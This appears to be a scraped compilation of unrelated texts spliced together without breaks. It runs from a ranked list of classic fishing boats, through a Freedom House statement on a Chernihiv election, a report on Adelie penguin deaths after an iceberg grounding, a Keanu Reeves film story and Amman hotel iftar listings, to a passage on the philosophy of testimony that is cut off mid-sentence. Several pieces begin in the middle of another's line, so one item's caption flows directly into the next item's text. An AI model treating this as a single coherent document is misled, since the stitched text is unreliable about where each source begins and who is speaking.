Ocean 40 Super Sport Courtesy PowerBoat Guide
15: Ocean 40 Super Sport The Ocean 40 was introduced in 1977 and launched what would become a hugely successful run by the Leek family of New Jersey. The Ocean 40 provided exceptional performance for the time, promising a top speed of 30 knots. The 40 launched many new designs for Ocean, a company that became an overnight sensation in the convertible-, and later the express-boat markets. Ocean Yachts had many imitators over the years as other companies tried to reproduce the Leek’s successful combination of quality construction and solid value, but no company ever did it better than Ocean.
57 Spencer Richard Gibson
14: 57 Spencer Like many North Carolina boatbuilders before him, Paul Spencer worked as a charter mate and a captain before entering the boatbuilding business in 1996. When he began building his own boats, he soon gained a reputation for fast, sleek designs that pushed the legendary toughness and seaworthiness of other Carolina boat builders to a new level. Spencer is generally credited with modernizing both the looks and the hull designs of Carolina boats, and his 57-footers epitomize that revolution. This combination of speed, ride and modern construction techniques elevated Carolina boatbuilding to an entirely new level, and made buyers of large sport-fishermen around the world sit up and take notice.
53 Hatteras Courtesy PowerBoat Guide
13: 53 Hatteras The Hatteras 53, first produced in 1969, was the industry standard in big production sport-fishermen for many years. The 53 featured a balanced design that many offshore fishermen still find attractive, and her spacious cockpit combined with a large and comfortable living area inside to create one serious offshore machine. The boat’s heavy construction produced a solid, if sedate ride, and she was known to be wet in a sea, but the 53 was nonetheless an incredibly successful model that led to the development of more modern boats in later years, as other builders sought to emulate that success.
Grady-White 254 Kingfish Courtesy Grady-White Boats
12: Grady-White 254 Kingfish Yes, we know the photo is of a 255 Sailfish, but the 1977 introduction of Grady-White’s 254 Kingfish launched that company’s entry into the big, wide-beam cuddy cabin market — a segment the company dominates to this day. The Kingfish was a sterndrive-powered model and became an overnight success among the country’s legions of fishing families. The Kingfish led to the creation of the Sailfish series (shown), arguably the most successful series of walkaround and cuddy cabin boats in history. Combining comfortable amenities with serious fishing features, the Sailfish revolutionized the outboard-fishing-boat world.
22 Pathfinder Courtesy Maverick Boat Company
11: 22 Pathfinder Although bay boats existed long before the 1998 debut of the 22 Pathfinder, the unprecedented success of this model redefined the genre and created an entirely new generation of anglers who saw the versatility of the bay boat design as a one-size-does-everything concept, and embraced it in staggering numbers. Bay boats became the SUVs of the water, and the 22 Pathfinder deserves much of the credit for launching that ongoing trend.
26 Regulator Courtesy Regulator Marine
10: 26 Regulator Regulator’s most enduring model came out in 1991, and has been going strong ever since. Its North Carolina lineage was a perfect fit with the treacherous shoals and inlets on the Outer Banks, where it became an overnight sensation. The immensely practical design and solid construction soon earned the respect of fishermen from all coasts, making the Regulator 26 an iconic design in many regions, and spawning larger models that bear the same notable quality and performance. Known for exceptional handling in rough seas, the Regulator deep-V hull has become something of a legend, and it all started with the 26.
31 Jupiter Courtesy Jupiter Boats
9: 31 Jupiter Jupiter’s first 31-footer hit the market in 1989, and right off the bat, people saw it as something special. Originally a semicustom boat, the 31 started the trend toward sleek-looking, fast center consoles that carried a distinctive look quite different from everything else on the market at the time. Most center consoles at that time sported a more functional, utilitarian look, but the Jupiter exuded sex appeal and style, and it looked fast even when sitting at the dock. It also came with a host of practical fishing features and high-tech construction, so it provided real fishing amenities along with the aforementioned classy appearance.
31 Contender John Brownlee
8: 31 Contender The 31 Contender is an iconic fishing boat in all parts of the country. It’s one of the most successful, large center consoles ever built, and its combination of rugged construction, intelligent design and excellent performance made it a natural choice for a great many fishermen. The 31 became one of the best-selling boats ever in its size range, and a common sight just about anywhere you might choose to fish. The 31 also became a serious tournament winner for Contender, posting numerous victories on the Southern Kingfish Association trail, in striped bass competition in the northeast, and in many South Florida sailfish tournaments as well.
SeaVee 390 IPS Courtesy SeaVee Boats
7: SeaVee 390 IPS When we tested the 390 with Volvo Penta’s revolutionary pod drives in 2007, the new levels of performance this boat was capable of blew us away. We had never been on a boat that could maneuver as quickly or precisely as this one. After driving the 390 IPS for half a day, we agreed that this was the new ultimate light-tackle fishing machine. The 390 can go sideways faster than most boats can back up, it spins fast enough to make all occupants hold on tight, and then there’s the effortless docking. Combine that with the intelligent layout and design of SeaVees in general, and you come up with one exceptional boat.
31 Yellowfin Courtesy Yellowfin Yachts
6: 31 Yellowfin When the original 31 Yellowfin appeared in 2000, it changed the game of offshore fishing from center consoles. The 31 wasn’t the first stepped-hull offshore boat, but the design and layout created by Yellowfin combined extraordinary performance characteristics and an exceptionally dry ride to create a buzz in the saltwater world like no other. The 31 quickly became a favorite of guides and serious tournament competitors alike, and soon began posting victories in competitive-fishing circles and racking up the trophies. Yellowfin came out of nowhere to become an overnight sensation in the fishing world, and the 31 provided the initial impetus for that success.
25 Mako Courtesy Chris Roos
5: 25 Mako The original 25 Mako debuted in the mid-1970s and kicked off a trend toward larger center consoles that continues unabated. The big Mako was one of the first center consoles considered a capable canyon boat in the Northeast, able to make big runs offshore in relative safety. It also became a huge hit in the Gulf and the Southeast because of its relatively long-range capabilities and practical, open design.
Boston Whaler Nauset Courtesy Boston Whaler
4: Boston Whaler Nauset Whaler’s 16-foot Nauset was reportedly the world’s first production center console, beginning a trend that exploded over the next decade and continues to this day. The center console remains the most popular fishing-boat design in the world, for good reason. The Nauset, along with sister models Eastport and Sakonnet, debuted in 1961, and spawned later versions of the same design, including the 17-foot Menemsha, Montauk and Newport models, among others. Thousands of these diminutive boats were sold along the East and Gulf coasts of the U.S., and around the world. Their unsinkable design and immense practicality made them some of the most popular fishing boats in history.
31 Bertram John Brownlee
3: 31 Bertram Perhaps no other boat has earned as much long-term fame as the 31 Bertram. First introduced in 1961 in both Flybridge Cruiser (enclosed cabin) and Sport Fisherman (no aft bulkhead, open design) layouts, the 31 became an overnight success and is still popular. Built on the now-famous deep-V hull designed by Ray Hunt, the 31 could go fast in big seas and tracked down-sea like no other boat that anyone had ever seen. A huge cockpit made fishing a pleasure, and it didn’t take long before 31s were scattered across the oceans of the world in both charter and private service. Many of them are still running today, a tribute to their rugged construction, most notably at Tropic Star Lodge in Panama, where the entire fleet consists of 31 Bertrams.
SeaCraft 20 Capt. Rick Stanczyk
2: SeaCraft 20 The SeaCraft 20 Master Angler was made popular with her timeless looks—a sleek, unbroken shear and fast-looking raked stem, and her simple functional layout that guides and anglers alike enjoyed throughout the latter ’60s, ’70s and ’80s. Taken from an early 1960s U.S.-patented, 21-foot racing hull designed by Carl Moesly, the SeaCraft hull had unique longitudinal steps running the length of the hull that offered varying degrees of deadrise in three sections, giving the combination of deep-V in the center, then gradually flattening out at her aft chines for great lateral stability and a dry ride. The famed SeaCraft ride came from this Variable Deadrise Hull, and her simple center-console layout offered a 360-degree fishing platform that could do it all.
43’ Merritt Ben BrownleeFollowing a badly marred one-off parliamentary election July 26 in Chernihiv, Ukraine, marked by serious electoral irregularities before and after the vote, Freedom House released the following statement:
“The serious abuses that occurred before and during the parliamentary election in Chernihiv show that that the corrupt politics and crony capitalism that sparked the popular revolution of 2014 remain alive and well in Ukraine,” said Mark P. Lagon, president of Freedom House. “Threats of violence, attempts to buy votes, interference by pseudo-journalists, and intimidation by thugs all marred the campaign and voting in Chernihiv. Unfortunately, Ukrainian authorities failed to confront these violations. With important local-level elections planned for October, Freedom House urges the Ukrainian authorities to aggressively respond to irregularities to prevent a repeat of events seen in Chernihiv.”
Ukraine is rated Partly Free in Freedom in the World 2015, Partly Free in Freedom of the Press 2015, Partly Free in Freedom on the Net 2014, and receives a democracy score of 4.75 on a scale of 1 to 7, with 7 as the worst possible score, in Nations in Transit 2015.MORE than 150,000 penguins died after a massive iceberg grounded near their colony in Antarctica, forcing them to make a lengthy trek to find food.
The colossal B09B iceberg, measuring 2900sq km (which The Guardian compared to the size of Rome), grounded in Commonwealth Bay in East Antarctica in December 2010.
The Adelie penguin population at the bay’s Cape Denison was measured to be about 160,000 in February 2011 but by December 2013 it had plunged to an estimated 10,000, according to research published in the Antarctic Science journal.
The iceberg’s grounding meant the penguins had to walk more than 60 kilometres to find food, impeding their breeding attempts, said the researchers from the University of New South Wales’ (UNSW) Climate Change Research Centre and New Zealand’s West Coast Penguin Trust.
“The Cape Denison population could be extirpated within 20 years unless B09B relocates or the now perennial fast ice within the bay breaks out,” they wrote.
Fast ice is sea ice which forms and stays fast along the coast. During their census in December 2013, the researchers said “hundreds of abandoned eggs were noted, and the ground was littered with the freeze-dried carcasses of previous season’s chicks”.
“It’s eerily silent now,” UNSW’s Chris Turney, who led the 2013 expedition, told Fairfax.
“The ones that we saw at Cape Denison were incredibly docile, lethargic, almost unaware of your existence.
“The ones that are surviving are clearly struggling. They can barely survive themselves, let alone hatch the next generation. We saw lots of dead birds on the ground... it’s just heartbreaking to see.”
In contrast, penguins living on the eastern fringe of the bay just eight kilometres from the fast ice edge were thriving, the scientists said.
The researchers said the study had “important implications” for the wider East Antarctic if the current trend of increasing sea ice continued.
Sea ice around Antarctica is increasing, in contrast to the Arctic where global warming is causing ice to melt and glaciers to shrink.
Scientists believe the growth in Antarctic sea ice is largely driven by changes in wind and local conditions.Keanu Reeves has claimed that he was press-ganged into starring in the serial killer thriller The Watcher after a friend forged his signature on the contract. Unable to conclusively prove the forgery, Reeves says that he finally agreed to take the role rather than face a protracted legal battle.
The Watcher was directed by Joe Charbanic, an erstwhile buddy of Keanu who has also filmed the actor on tour with his rock band Dogstar. The movie starred the Matrix hero as a menacing killer who taunts James Spader's overwrought cop. At the time of filming, there were reports that Reeves was unhappy that what he had envisaged as a minor role had been made the centre of the film. He was also rumoured to have been outraged to discover that he was receiving a reported $1.5m (£1.03m) less than his co-star Spader.
Now it transpires that Reeve's annoyance ran deeper still. "I never found the script interesting, but a friend of mine forged my signature on the agreement," he told the Calgary Sun newspaper. "I couldn't prove he did and I didn't want to get sued, so I had no other choice but to do the film." Reeves says that other legal stipulations mean that he has had to wait twelve months after the film's US release before being able to go public with his anger. "If it's September that means it's been a year, so I can finally talk," he told the newspaper.
At the time of its release, Reeves refused to promote The Watcher. In the event, however, the film spent two weeks at the top of the US box office. But Charbanic's picture met with largely negative reviews and Reeves's villainous turn was pinpointed by many as a major flaw. "Short of getting Angela Lansbury or Rodney Dangerfield or Lassie for the part, the miscasting could not be more complete," wrote the Guardian's Peter Bradshaw. "Keanu is profoundly wrong as a serial killer."FOUR SEASONS HOTEL
5th Circle, Al-Kindi Street
Jabal Amman
Amman, Jordan.
Tel: (962-6) 550-5555
DIAL ON YOUR MOBILE: 065505555 IFTAR BUFFET: Prepare your senses for a new Ramadan culinary experience. Host your private Iftar at the terrace of Olea Restaurant in Amman with delicious home-style cooking and celebrate Ramadan in a garden with your friends and family. You can choose from three different menus or you can even customize your own. For more information or to book your private Iftar, please call Olea restaurant at +962798111997 or you can email your request to ramadanreservations@fourseasons.com. Ramadan Kareem! GRAND HYATT AMMAN
Hussein Bin Ali Street
Jabal Amman
Amman, Jordan
Tel: (962-6) 465-1234
DIAL ON YOUR MOBILE: 064651234 IFTAR BUFFET: Ramadan Souk - Iftar is a time that brings together family and friends. Venture into the Ramadan Souk and sample the best of local and international cuisines, exploring multiple live cooking food stations and taking in the enchanting sites and sounds from live performers. Make a reservation at Sawani for only 39JD inclusive and discover the excitement. INTERCONTINENTAL HOTEL
Queen Zein Street
Amman, Jordan.
Tel: (962-6) 464-1361
TOLL FREE: 00800-90-971-005
DIAL ON YOUR MOBILE: 064641361 IFTAR BUFFET: Bourj Al Hamam offering an Iftar buffet and a selection of appetizing Lebanese dishes.
RAMADAN NIGHTS: Please call for details. KEMPINSKI HOTEL AMMAN
Abdul Hamid Shouman Street
Shmeisani
Amman, Jordan.
Tel: (962-6) 520-0200
DIAL ON YOUR MOBILE: 065200200 IFTAR BUFFET: Enjoy our special Iftar Buffet with family and friends during the Holy Month of Ramadan at Kempi restaurant for JD25++. *special prices for groups H2O
Kempinski Hotel Amman
Abdul Hamid Shouman Street
Shmeisani
Amman, Jordan.
Tel: (962-6) 520-0200, 079-771-1188
DIAL ON YOUR MOBILE: 065200200 Closed during Ramadan. LANDMARK HOTEL
Al Hussein Bin Ali Street
Amman, Jordan.
Tel: (962-6) 560-7100
DIAL ON YOUR MOBILE: 065607100 IFTAR BUFFET: Ramadan show and Iftar Buffet. Please call 079-710-7770 for details. LE MÉRIDIEN AMMAN
Queen Noor Street
Shmeisani
Amman, Jordan.
Tel: (962-6) 569-6511
DIAL ON YOUR MOBILE: 065696511 RAMADAN NIGHTS : Be part of the most enjoyable and the most beautiful Ramadan nights at Le Méridien Amman, vibrant atmosphere of joy mingled with the fragrance of the holy month and delicious Iftar in La Brasserie to the music of Al Oud band and Singer Khaled Ayyad. Price: JD 25 ++ per person. A prior reservation is required. For more information please call: +962 6 569 6511 LE ROYAL HOTEL AMMAN
Zahran Street, 3rd Circle
Jabal Amman
Amman, Jordan.
Tel: (962-6) 460-3000
DIAL ON YOUR MOBILE: 064603000 IFTAR BUFFET: Book now to enjoy the offer of a comedy play wow with you and your friends in a play "home and see" during the month of Ramadan in the hall of Ishtar - hotel le royal.
Ticket Prices (including breakfast):
1. Category: 65 dinars
2. Category B: 55 dinars
3. Category C: 45 dinars
For booking and enquiry please contact on: + 96264603038 MARRIOTT HOTEL AMMAN
Issam Ajluni Street
Shmeisani
Amman, Jordan.
Tel: (962-6) 560-7607
DIAL ON YOUR MOBILE: 065607607 IFTAR BUFFET: Iftar buffet offered. Please call for details. (QYARD) ALQASR METROPOLE HOTEL
Shmeisani
Amman, Jordan
Tel: (962-6) 566-6140
DIAL ON YOUR MOBILE: 065666140 IFTAR BUFFET and Ramadan nights. Please call for details. REGENCY PALACE
Queen Alia Street
Amman, Jordan.
Tel: (962-6) 560-7000
DIAL ON YOUR MOBILE: 065607000 IFTAR BUFFET: |
the transmission of H's newspaper's knowledge to H, since H could easily have read one of the other ones, and so the information would not be transmitted. (Even if H would not easily have read these other newspapers, he still implicitly claims or presumes their corroboration.)
Further perplexities for a transmission condition are introduced by an example of Dretske's (1982) of a connoisseur, who can well discern Medoc wines, which he knows to be from Bordeaux. However, he falsely believes that Chiantis are also from Bordeaux, although he can readily distinguish a Medoc from a Chianti. He tells a novice truly that the wine that they are now drinking, which is a Medoc, is a Bordeaux. Dretske claims that whereas the connoisseur knows that the wine is from Bordeaux, the novice does not. The connoisseur passes on his vulnerabilities to the knowledge-seeker, though he, the connoisseur, is himself immunized from them. Dretske concludes
You cannot learn that P from someone who tells you that P if they would say that P whether or not P, and that holds even if the person happens to know that P. (Dretske 1982, 110)
Dretske's argument assumes a subjunctive analysis of knowledge, and that the connoisseur's vulnerabilities undermine only the novice's knowing, not his own (Coady 1992, ch.12). If these assumptions are accepted, the simple model is in trouble, as Dretske concludes, whereas the prospects for the informational one are brighter, since the expert's testimony at best “carries the information that the wine was a Bordeaux or a Chianti” (Graham 2000a; my emphasis).
If hearers are epistemically entitled to accept the speaker's assertion in core cases and in null settings, as the DR holds, is the right conferred a priori or a posteriori? This question has been the center of discussion, though its presuppositions have been questioned (Kusch 2002 part I).
The view that our ordinary acceptance of testimony is justified only a posteriori has been referred to as the “reductionist thesis” for implying that testimony, unlike perception, is not a fundamental source of warrant. The acceptance of testimony resides in other familiar sources of justification, notably perception, memory, and induction (Hume 1978 Bk I part III section IV). The anti-reductionist admits that testimony depends on other sources like perception, and not conversely. The dependence, he claims, is only psychological—one perceives testimony by hearing. But the epistemic warrant or justification for accepting testimony need not essentially appeal to these other sources. It may refer only to the speaker's knowledge, his word-giving, and other principles that are purely testimonial (see Audi 1997; related claims are made by Coady 1992, for criticisms, Fricker 1995, Graham 2000b).
On an anti-reductionist view, the basic principle is something like the DR. A reductionist, by contrast, endorses basic principles like the following:
If a hearer comes to believe a speaker's testimony in normal ways based on the speaker's so testifying and the hearer's background and current evidence, then the hearer is epistemically entitled to believe it.
The anti-reductionist moves from an antecedent specifying a certain natural position or relation to a normative consequent. The reductionist requires a normative condition in the antecedent (“based on”), although this may take the form of the DR on a normative reading of “normal conditions”. Strictly, the reductionism and anti-reductionism need not be incompatible. The same testimonial transmission can be justified either way, so that justification can be overdetermined, meeting both inferential and non-inferential conditions (Graham, 2006). We will assume that they are incompatible, which is how they are generally presented, with each explicitly denying that at the foundations there is need or room for the other.
Hume is taken as the main proponent of reductionism, due largely to the views he expresses in “Of Miracles”, an essay directed to the warrant for accepting testimony of miracles. (On testimony for the supernatural, see Coady 1994.) Key statements are these:
our assurance in any argument of this kind [from testimony] is derived from no other principle than our observation of the veracity of human testimony, and of the usual conformity of facts to the reports of witnesses. (Hume 1977 74)
The reason, why we place any credit in witnesses and historians, is not derived from any connexion, which we perceive a priori, between testimony and reality, but because we are accustomed to find a conformity between them. (Hume 1977 75)
On the usual readings of these passages, each instance of testimonial transmission is justified only by an implicit record of the agent's ratio of past testimonial success or that of the type of testimony or the type of agent. (For discussion of Hume's views on testimony wary of the usual readings, see Traiger 1993; Faulkner 1998.) If so, a Humean view would be in opposition to the DR, which is the basis for the standard contrast to a “Reidian” view:
Reid's position is that any assertion is creditworthy until shown otherwise; whereas Hume implies that specific evidence for its reliability is needed. (Stevenson 1993, 433, Wolterstorff 2001, Audi 2006)
The Reidian account of testimonial trust is that since God intended us to be ‘social creatures’, he implanted in us “a propensity to speak the truth” (the principle of veracity), as well as, correspondingly “a disposition to confide in the veracity of others, and to believe what they tell us.” (The principle of credulity) (Reid 1983 94–95).
The Reidian-Humean contrast needs tempering, however, if the usual way to obtain specific evidence is by checking on the reliability and sincerity of a speaker. For then testimony would not be feasible as a regular habit or practice, clearly violating the Infeasibility of Checking claim. Testimony would not conform to the Far-reaching Dependence thesis, which Hume endorses. Unless Hume is terribly confused, there must be ways to have evidence favoring the acceptance of testimony that does not involve burdensome checks on the credentials of particular speakers (section 6).
If the transmission of beliefs through testimony is as common and successful as Hume affirms, then, an objection to Humean reductionism is that any attempt to justify testimony through an inductive inference will inevitably be circular, since among the justificatory grounds will almost certainly be grounds obtained through testimony (Coady 1992 ). This criticism assumes that to justify reliance on testimony overall or in a particular case, bars appeal to evidence of past testimonial success. The latter is thought tainted, since itself derived from testimony, even if not the current testimony. But it is not evident that this assumption is correct, or that the restriction would not equally exclude justification of perception (by its ‘track record’) (Alston 1993).
A related objection is that the reductionist view is not empirically feasible:
In our ordinary dealings with others we gather information without this concern for inferring the acceptability of communications from premises about honesty, reliability, probability, etc. of our communicants. I ring up the telephone company on being unable to locate my bill and am told by an anonymous voice that it comes to $165 and is due on 15 June. No thought of determining the veracity and reliability of the witness occurs to me nor…does the balancing of probabilities figure in my acceptance. (Coady 1992 143; for similar concerns, Audi 1997)
This criticism is, though, subject to objections that it conflates the epistemic and the psychological (Burge 1997). Schiffer objects along these lines:
Whether knowing p is based on knowing q, isn't about the actual movement of thought, the considerations one actually ponders; it's about the structure of beliefs that sustain one's conclusion. (Schiffer 2003 303; Fricker 1995)
If the automaticity of our response to testimony is not decisive for whether the epistemic basis is a priori, innate, or empirical, then, similarly, the Uniformity claim, as confirming our conformity to the DR, is not evidence that our trust in speakers is ‘blind’. Hearers may be very sensitive to when speakers are unreliable or insincere. But this sensitivity is only occasionally displayed, since speakers' testimony is by and large correct, at least in core cases.
Another difficulty alleged against the Humean is that his denial of any a priori connection “between testimony and reality” implies that
we might have discovered (though in fact we did not) that there was no conformity at all between testimony and reality. (Coady 1992 85)
If Hume does allow for this discovery, it would be difficult to understand how the practice of testimony persists so robustly, since the failings would undermine trust. But the result also suggests that Hume need not allow for the possibility (Lyons 1997, Schmitt 1994). The demand to empirically justify reliance on testimony does not entail that there are not necessary conditions, like a minimal correspondence between what is asserted and what is the case, that must be satisfied for the practice to be sustained. There is no a priori connection between private swimming pools and wealth. Yet, a high level of wealth may be a major necessary condition for the continued construction of private swimming pools.
Still, if Hume allows for the possibility of a world in which testimony and reality are discovered not to match, a further, related, difficulty is held to arise:
whenever they [the ‘Martians’] construct sentences addressed to each other in the absence (from their vicinity) of the things designated by the names, but when they are, as we should think, in a position to report, then they seem to say what we (more synopticallly placed) can observe to be false. But in such a situation what reason would there be for believing that they even had the practice of reporting? (Coady 1992, 85).
These various objections culminate in an argument that the Humean position lapses into incoherence. Meaning or content, as well as language learning, are claimed to be impossible absent an a priori connection of testimony and truth. For if we are constantly frustrated in checking the truth of our attempts to translate native utterances, we thereby undermine our claim to understand, or even to attribute content, to them (Coady 1992 93–97, Ch.9; for criticisms Graham 2000b).
The argument, broadly understood, is derived from Davidson, who holds that it is a conceptual truth that a language is only possible where most of what is believed is true. Davidson's argument concludes that a principle of charity is necessary in interpreting the assertions of others. The Principle of Charity, which assumes that interpretation is holistic, requires that we attribute rationality to speakers in interpreting them. The Principle of Charity implies that the speaker's beliefs are predominantly like our own, and, more disputably, that they are predominantly true (Davidson 1984).
However, even if these Davidsonian claims hold, there is a barrier to transferring them to testimony. The vast, shared collection of beliefs that, in Davidson's words, are “too dull, trite, or familiar to stand notice,” dwarfs by comparison the set of beliefs likely to be expressed in testimony, since the latter are presented only on the presumption of their informativeness to hearers. But if testimony is informative, the assertions are among the riskier constituents of our vast background of ‘dull’ beliefs. Consequently, they are lesser candidates for Davidson's a priori interpretational justification. Among the beliefs a priori guaranteed of truth by the Davidson-type reasoning would be ones like there is an earth, 2+2=4, bacteria do not study physics. Except under unusual circumstances, these are not the kind of beliefs that it would be informative to assert (see Adler 1994, Fricker 1995, Elgin 2002a; for broader doubts about a Davidsonian approach, Ebbs 2002).
Nevertheless, the Davidsonian view can still play a prominent role in a coherence type justification of testimony. The more informative beliefs that are expressed in assertion are required to cohere with our vast background of shared beliefs if they are to achieve the minimal credibility or plausibility requisite for hearers to accept them. If Davidson is right, this coherence requirement sets a high epistemic bar, though such a requirement is not unique to anti-reductionism.
In this section, we have focused mainly on attempts at a priori refutations of reductionism. But we have not yet provided detailed models of reductionism, which we do in the next two sections.
One starting point for anti-reductionism is that hearers enter null (testimonial) settings without, by hypothesis, evidence specific to that setting. It does not follow, however, that they lack any evidence or epistemic reasons to accept the speaker's (stranger's) word. As discussed subsequently, the evidence will be background evidence, widely shared and easily known, much of it deriving from the background conditions of our testimonial practice (Adler 1994, 2002, Faulkner 2000, 2002, Siegel 2005). Consequently, the reductionist can urge that these extensive conditions provide sufficient reasons to accept testimony in null settings, and even to comply with the DR.
These conditions include:
The predominance of truthful testimony. Overwhelmingly in core cases (and well beyond) testimony transmits truth (non-accidentally). It is highly reliable.
However, it has been observed that false testimony is frequent and unsurprising (Fricker 1994, McDowell 1994). The observation seems a challenge to the Uniformity claim as supportive of the DR. But its significance is subject to exaggeration due to a reference class illusion, particularly as applied to the core cases. We expect correct testimony, and so it is hardly noticed. We are much more attentive to, and we recall much better, erroneous testimony. The illusion arises if the frequency of erroneous testimony alleged is due to comparisons mainly with cases that one recalls. But the relevant reference class is the actual, and huge, totality of testimony in core cases. By comparison with that class the proportion of cases in which testimony fails is, if the Uniformity claim holds, very small.
If, within the appropriate reference class, error and deceit are relatively rare and unusual, their possibility are not likely to constitute a defeater of knowledge in themselves, where knowledge requires that defeaters be ruled out by specific evidence of their absence. If the frequency of error or deceit by speakers is very low that is a strong indicator that when they do occur it is noise or interference with the testimonial process. The extreme reliability of testimony still allows for normalcy conditions under which speakers assert that p only if p.
Truthfulness as the norm. Truthfulness is a presupposition of the practice of linguistic communication (Lewis 1969, 1983, Schiffer 1972). Truthfulness governs conversational exchange, allowing assertion to serve its function. Defection from it can come only in small doses, since otherwise it would undermine the trust that the defector (‘free rider’) requires. Lying and deceiving (evasion, misleading) are typically much more troublesome and riskier than simple honesty. Ordinary decency is something we reasonably presume in myriad, everyday social interactions.
As discussed further in section 7.4 below, the testimonial practice promises everyone great epistemic benefits, as is obvious to all. Given general conformity to truthfulness and accuracy, the testimonial practice will extend the reach of one's corpus of belief, far beyond one's individual resources. The cooperation that is powerfully motivated by this promise also helps to explain the next two conditions.
Reputation and Sanctions. The demand for truthfulness is sufficiently strong that those who are the victims of false testimony, whether through error or deception, are likely to withdraw trust. The loss of trust will spread, though in large communities the spread from any particular defective exchange is very limited. But in settings where speakers can be so marked, as in institutional structures, this is a forceful constraint. (“Gossip” columnists probably would not keep their jobs, if the readily verified portions of their reports were not accurate in the main.) Even in impersonal settings, substantial defections are likely to spread rapidly, undermining the practice that ‘free riders’ try to exploit.
Although the Vulnerability problem has been most provocatively pressed about science, the constraint of reputation is particularly forceful in it. Professional science is intensely competitive, findings are published and widely disseminated. Discovering errors in others' work is a source of publication; the more notable the claims, the more the glory. Of course, intense competition also motivates defection — cheating, misleading reports, hasty publication. Although the system will expose blunt plagiarism, subtler ways of securing undeserved credit, as with deviousness in assigning lead authors in multiply authored papers, are not at issue, since these do not introduce false or unreliable data. The strength of easily applied restraints like replication, publicity, and peer review is attested to by how rare and limited are major defections. (On peer review, see Shatz 2004.) One overview concludes, “No reliable data exist on the incidence of scientific misconduct, but it is likely that the serious form of it — fabrication and falsification of data — is rare” (Kevles 1996, 109).
The nature of our informants. Our informants (us) depend for their beliefs mainly upon reliable sources such as perception, memory, simple reasoning, and testimony. We share fundamental values, especially honesty and concern for others. In the case of testimony, these values are easily picked up because of the obvious advantage of receiving accurate information.
It is only very occasionally that lying is well motivated. In the absence of that motivation, Burge observes that: "Lying for the fun of it is a form of craziness." (1993: 474) Our overwhelming evidence, as Hume emphasizes, is that persons act from regular and rational motives. Dishonest testimony, well beyond the core cases, is unlikely, since the speaker rarely stands to gain from it.
Prior Plausibility. To be default-accepted, the content of testimony must have a high degree of prior plausibility. Hearers' beliefs, which ground these plausibility assessments, apply automatically, effortlessly filtering out grossly implausible assertions e.g., “Its snowing on Miami Beach.” For an assertion to lack prior plausibility is for the hearer to have a special reason, in accord with the DR, to object (not to accept it).
Were an assertion low in prior plausibility, the hearer is reluctant simply to accept it. Since speakers know this, it will be pointless for them to assert what manifestly lacks plausibility. Consequently, the simple assertions we mainly hear are heavily pre-selected. (Prior plausibility plays a crucial role in the corroboration of testimony—the conditions under which agreement of independent witnesses raises the probability conferred on what each one testifies to individually. A theorem on corroboration is proven by Cohen (1977, 1982); and it is critically discussed by Olsson (2002) and Bovens, et.al. (2002). However, as noted earlier, I do not cover this work, given the narrow construal of testimony here. For although corroboration greatly increases the probability that what is testified to is true, it does not do so through the speakers' word alone, but to the antecedent improbability of the convergence.)
Prior-plausibility judgments are at the heart of Hume's argument against acceptance of reports of miracles, as expounded in "Of Miracles.” Hume famously concluded:
The plain consequence is … ‘That no testimony is sufficient to establish a miracle, unless the testimony be of such a kind, that its falsehood would be more miraculous, than the fact, which it endeavors to establish … ’ (Hume 1977: 77)
Specifically, a miracle would imply a violation of a law of nature. But if we know the law, we know in advance that a law of nature is accepted only on the basis of enormous evidence; so the testimony for the miracle begins with extremely low prior plausibility. It is far lower than the “the extraordinary and the marvellous”, which are not merely improbable, like winning a lottery, but in conflict with what else one believes (e.g., to receive testimony that in 1996 a wind on Santa Monica beach blew the sand to form the inscription ‘Happy Birthday Nadine’.)
To review: Condition 1 is that testimony is predominantly successful in fulfilling its claim to truth. Conditions 2–5 explain why that success is unsurprising, and why the conversational or testimonial practice is robustly maintained despite wide variation in circumstances. Conditions 2–5 can serve as reasons because even if they are not available to individuals for articulation, they shape our testimonial practices—our ease of acceptance or not — from within our corpus of beliefs. Our automatic assessment of an assertion for prior plausibility is an assessment by prior beliefs functioning as reasons e.g., I have good reason not to accept a testimonial report of an alien spacecraft landing in Central Park, even if I cannot cite any defect in the observation reported.
Appeal to the background conditions of the testimonial practice lends itself to the development of a number of approaches to the a posteriori justification of testimony with varying implications for reductionism. The simple, enumerative, inductive account attributed to Hume's in ‘On Miracles’ is only one kind of a posteriori position (Lyons 1997, Rysiew 2000). Specifically, some a posteriori or reductive approaches are opposed to the DR and others are neutral or supportive of it. The latter is far more effective dialectically, since one of the anti-reductionist's chief claims is that the DR does rightly govern our practice and that it cannot be justified on reductionist grounds. Unless otherwise stated, there is no assumption that these approaches are exclusive of one another, and in obvious ways a number of them are, in fact, complimentary.
The prior plausibility constraint is one of coherence with our beliefs. In the core cases, an evident presumption is that fellow speakers are competent and that they have no reason to deceive. More generally, the background conditions, enumerated above, as incorporated into our corpus of belief, constitute a vast background of evidence for us as to the reliability of testimony. For this reason, it is difficult to secure a realistic grip for an internalist-externalist gap between whether the epistemic relevance of a reliable source of belief is available to the agent or not. Conditions 1–5 are apparent to us and the very success of the practice depends upon our appreciation of that success, as motivating our own cooperation (though see Pritchard 2004).
From our earliest years, we acquire knowledge of the trustworthiness of testimony in the core cases and beyond, as well as knowledge of domains in which the word of others is not to be default-accepted (e.g., opinions on controversial topics). Recent empirical work shows that young children do trust testimony. However, the trust is selective enough to raise doubts about Reidian views of children as highly credulous (Harris 2002). Inculcation into the practice involves an inheritance of knowledge of the successful workings of the practice, as well as in the fine tuning of its contours. Specifically, we learn whom not to trust. Much of the information in core cases we are easily able to verify through engaging in the corresponding actions or through the corroborative or dissenting testimony of others. Since these verifications will obtain in diverse settings — different informants under different conditions — there is confirmation of the reliability of testimony and of the trustworthiness of informants overall. As noted earlier, testimonial practice works very largely under conditions that risk detection of error or falsification. If testimony often transmitted falsehoods, it would be noticed and communicated, even if, under this supposition, less assuredly. Our reliance would be less uniform.
Even though the knowledge that subtly guides our patterns of acceptance of testimony is obtained prior to the testimonial setting, it is clearly not knowledge a priori— knowledge not dependent on experience. The background conditions are conditions that we learn of, as we are inculcated in the practice. The appeal to background beliefs to justify our testimonial practice or the DR is at variance with the accusation that an empirical or a posteriori approach demands that “we should remain neutral or skeptical of information unless we have empirical grounds for thinking it trustworthy…” (Burge 1993 473)
The appeal to our background beliefs as evidence can serve to justify the acceptance of testimony or conformity to the DR. The charge that an empirical view fails the Infeasibility of Checking claim is nullified if the evidence to accept a speaker's word is already with us as competent hearers, calling upon no special checking. Along these lines are resources to object to those who have used the Far- reaching Dependence claim to press the Vulnerability problem. The charge is that our knowledge rests on a fragile, ethical, basis e.g.,
